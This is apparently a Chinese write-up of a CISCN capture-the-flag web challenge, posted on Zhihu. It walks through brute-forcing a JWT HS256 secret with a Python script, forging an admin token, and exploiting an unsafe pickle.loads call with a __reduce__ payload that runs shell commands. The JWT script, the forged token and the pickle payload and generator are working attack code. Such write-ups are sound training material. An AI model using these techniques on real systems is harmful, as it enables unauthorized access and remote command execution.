这是CISCN(全国大学生信息安全竞赛)真题,考察Burp Suite 的 Intruder 模块,JWT(JSON Web Token),Python2.7 反序列化。通过Intruder 模块找到要购买的lv6页面,通过修改折扣得知需要提权到admin,然后对JWT进行暴力破解,找到JWT的密钥1Kun,然后生成admin的JWT,再访问,拿到源码,发现是Python2.7,找到反序列化漏洞,生成命令执行的序列化字符串,最终拿到flag。
ailx10 (知乎名)
网络安全优秀回答者
互联网行业 安全攻防员
去知乎咨询
难度系数:5(官方难度:9)
注册账号,会有一个初始资金,然后让我们购买lv6,翻了几页,看看返回内容,就知道要先找到 lv6.png
使用 Burp Suite的 Intruder 模块,设置好匹配HTTP响应内容的关键字
轻松找到 181 页有lv6
通过URL,指定翻页到 181 页
发现钱不够,买不了lv6,使用 Burp Suite 代理,修改价格或折扣
- 修改价格:显示操作失败
- 修改折扣:会302跳转到
/b1g_m4mber
显示:该页面,只允许admin访问
对请求头中的JWT(JSON Web Token)进行在线解密。一个JWT由三部分组成:头部(Header)、载荷(Payload)和签名(Signature)。这三部分都使用Base64编码,通过点号(.)连接起来形成一个JWT字符串。
- Header:
{"alg":"HS256","typ":"JWT"}
,说明这是一个使用HS256算法加密的JWT - Payload:
{"username":"ailx10"}
,表明这个token携带的信息是用户名为"ailx10" - Signature:数字签名,为了保证信息未被篡改以及验证发送者身份。它是个Hash值,由Header,Payload和密钥3部分计算而来,需要暴力破解密钥,才能伪造JWT。
JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFpbHgxMCJ9.ReKajPakyWV9NvWMv_J_14-iVm76jZCyS1rgQZr3rGk
提前知道密钥长度是4位,暴力破解大约消耗10分钟
import jwt
import itertools
import string
encoded_jwt = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFpbHgxMCJ9.ReKajPakyWV9NvWMv_J_14-iVm76jZCyS1rgQZr3rGk'
# 定义字符集:大小写字母+数字
charset = string.ascii_letters + string.digits
# 遍历所有4位长度的可能密钥
for candidate in itertools.product(charset, repeat=4):
# 将元组转换为字符串
secret = ''.join(candidate)
try:
# 尝试使用当前猜测的密钥解码JWT
decoded = jwt.decode(encoded_jwt, secret, algorithms=["HS256"])
print(f"成功破解!密钥是: {secret}")
print(decoded)
break
except jwt.InvalidTokenError:
# 如果密钥不对,继续尝试下一个
continue
使用密钥1Kun,生成新的JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
使用Burp Suite 再来拦截一次,修改JWT和折扣,经过302跳转,再修改JWT,最终获得了 admin 权限
得到线索,是源码
<!-- 潜伏敌后已久,只能帮到这了 -->
<a href="/static/asd1f654e683wq/www.zip" >
代码审计,看 main.py
得知是 Python2.7 开发的,漏洞存在于 AdminHandler 类的 post()
方法中的pickle.loads(urllib.unquote(become))
这一行,pickle
模块用于Python对象的序列化和反序列化
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
构造序列化字符串:ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.
# -*- coding: utf-8 -*-
import pickle
import urllib
import commands # Python 2.7 中使用commands模块
class Payload(object):
def __reduce__(self):
# 使用commands.getoutput来执行系统命令
return (commands.getoutput, ('ls /',))
# 创建Payload实例并序列化
a = Payload()
serialized_payload = pickle.dumps(a)
# URL编码序列化的payload
encoded_payload = urllib.quote(serialized_payload)
print(encoded_payload)
点击一键成为大会员(注意第一个GET请求,已经使用新的JWT验明admin身份了)
修改become为计算的序列化内容,即可命令执行,在响应内容中看到 ls /
的结果,flag.txt
赫然在列
重复以上步骤,将 ls /
改成 cat /flag.txt
就能拿到 flag
开启送礼物
赞赏已升级为送礼物,用户可以付费支持你的创作
发布于 2025-02-06 08:50・江苏